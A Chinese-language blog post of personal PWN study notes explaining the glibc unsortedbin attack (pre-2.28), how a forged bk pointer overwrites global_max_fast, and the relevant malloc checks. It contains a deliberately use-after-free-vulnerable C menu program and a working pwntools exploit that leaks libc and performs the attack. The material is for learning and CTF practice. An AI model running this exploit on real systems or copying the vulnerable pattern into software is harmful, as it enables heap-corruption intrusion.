当前位置: 首页 > news >正文

【我的 PWN 学习手札】Unsortedbin Attack

前言

Unsortedbin Attack不能说是一种getshell的方式,而只能说是一种利用手法。在glibc2.28之前有效,条件是存在uaf,效果是能在某一地址写一个大数(glibc上的一个地址)。 


一、Unsortedbin的unlink过程

unsortedbin 中 free chunk 的组织形式是双向链表,取出chunk时,有如下代码:

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

实现的操作是将 unsortedbin 中的最后一个chunk取出。main arena的对应 bk 就要只想 victim 的bck,同样,bck 的 fd 也要指向 main arena。

二、Unsortedbin Attack

如果我们利用 UAF 或者任意地址写,将 unsortedbin 将被 unlink 的 victim 的 bk 改为其他地址如target,那么会发生什么呢?

当进行上述操作时: 

 

换而言之,如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到任意地址。通常可以利用此方法向 global_max_fast 写入一个较大的值,从而扩大 fastbin 范围,甚至 fastbins 数组溢 出造成任意地址写。

三、保护与检查 

(1)size检查 

if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)|| __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0))malloc_printerr ("malloc(): memory corruption");

这个检查是对脱链的 free chunk(即 victim)检查的,本来就是 unsortedbin 链上的一块正常的chunk,因此天然来说是无误的。

(2)target可写

因为要往target写数值,所以这个条件也是必要的,因为如果该地址本来就不能写数值,又何来覆写一说? 

总上来说,条件很好满足。然而在glibc2.28及以后,对 bck 的 fd 指针进行了检查,所以此方法基本失效。

四、测试与模板

 

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)# leak libc
add(0,0x100)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7c1ab1200000-0x7c1ab159bb78
success(hex(libc_base))# Unsortedbin Attack
edit(0,0x10,p64(0)+p64(libc_base+libc.sym['global_max_fast']-0x10))
pause()
add(2,0x100)
pause()
io.interactive()

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Vue2时间轴组件(TimeLine/分页、自动顺序播放、暂停、换肤功能、时间选择,鼠标快速滑动)
  • Sa-Token的v1.39.0自定义鉴权注解怎么玩
  • SQL案例分析:计算延迟法定退休年龄
  • 【C++】——继承详解
  • CMS之Wordpress建设
  • 数学基础 -- 线性代数之奇异值
  • iOS 18 正式上線,但 Apple Intelligence 還要再等一下
  • Python实现Socket.IO的完整指南
  • ARM驱动学习之8 动态申请字符类设备号
  • Serverless 安全新杀器:云安全中心护航容器安全
  • string的模拟实现and友元
  • 政务安全体系构建中的挑战
  • Python的学习步骤
  • TDengine 与 SCADA 强强联合:提升工业数据管理的效率与精准
  • 物联网架构
  • [译]CSS 居中(Center)方法大合集
  • 【JavaScript】通过闭包创建具有私有属性的实例对象
  • 2017 年终总结 —— 在路上
  • C++11: atomic 头文件
  • CSS进阶篇--用CSS开启硬件加速来提高网站性能
  • echarts的各种常用效果展示
  • HTTP那些事
  • iBatis和MyBatis在使用ResultMap对应关系时的区别
  • LeetCode18.四数之和 JavaScript
  • miaov-React 最佳入门
  • Mysql数据库的条件查询语句
  • python3 使用 asyncio 代替线程
  • Quartz实现数据同步 | 从0开始构建SpringCloud微服务(3)
  • React系列之 Redux 架构模式
  • 第2章 网络文档
  • 将回调地狱按在地上摩擦的Promise
  • 看完九篇字体系列的文章,你还觉得我是在说字体?
  • 通信类
  • ​​​【收录 Hello 算法】10.4 哈希优化策略
  • ​软考-高级-系统架构设计师教程(清华第2版)【第1章-绪论-思维导图】​
  • #pragma once与条件编译
  • (04)odoo视图操作
  • (Matlab)使用竞争神经网络实现数据聚类
  • (pojstep1.3.1)1017(构造法模拟)
  • (超详细)语音信号处理之特征提取
  • (第61天)多租户架构(CDB/PDB)
  • (转)memcache、redis缓存
  • (转载)Linux 多线程条件变量同步
  • (转载)在C#用WM_COPYDATA消息来实现两个进程之间传递数据
  • .apk 成为历史!
  • .net 4.0 A potentially dangerous Request.Form value was detected from the client 的解决方案
  • .NET Core、DNX、DNU、DNVM、MVC6学习资料
  • .NET Core工程编译事件$(TargetDir)变量为空引发的思考
  • .net Signalr 使用笔记
  • .net/c# memcached 获取所有缓存键(keys)
  • .net反编译的九款神器
  • .net中我喜欢的两种验证码
  • @autowired注解作用_Spring Boot进阶教程——注解大全(建议收藏!)
  • @Conditional注解详解
  • @Tag和@Operation标签失效问题。SpringDoc 2.2.0(OpenApi 3)和Spring Boot 3.1.1集成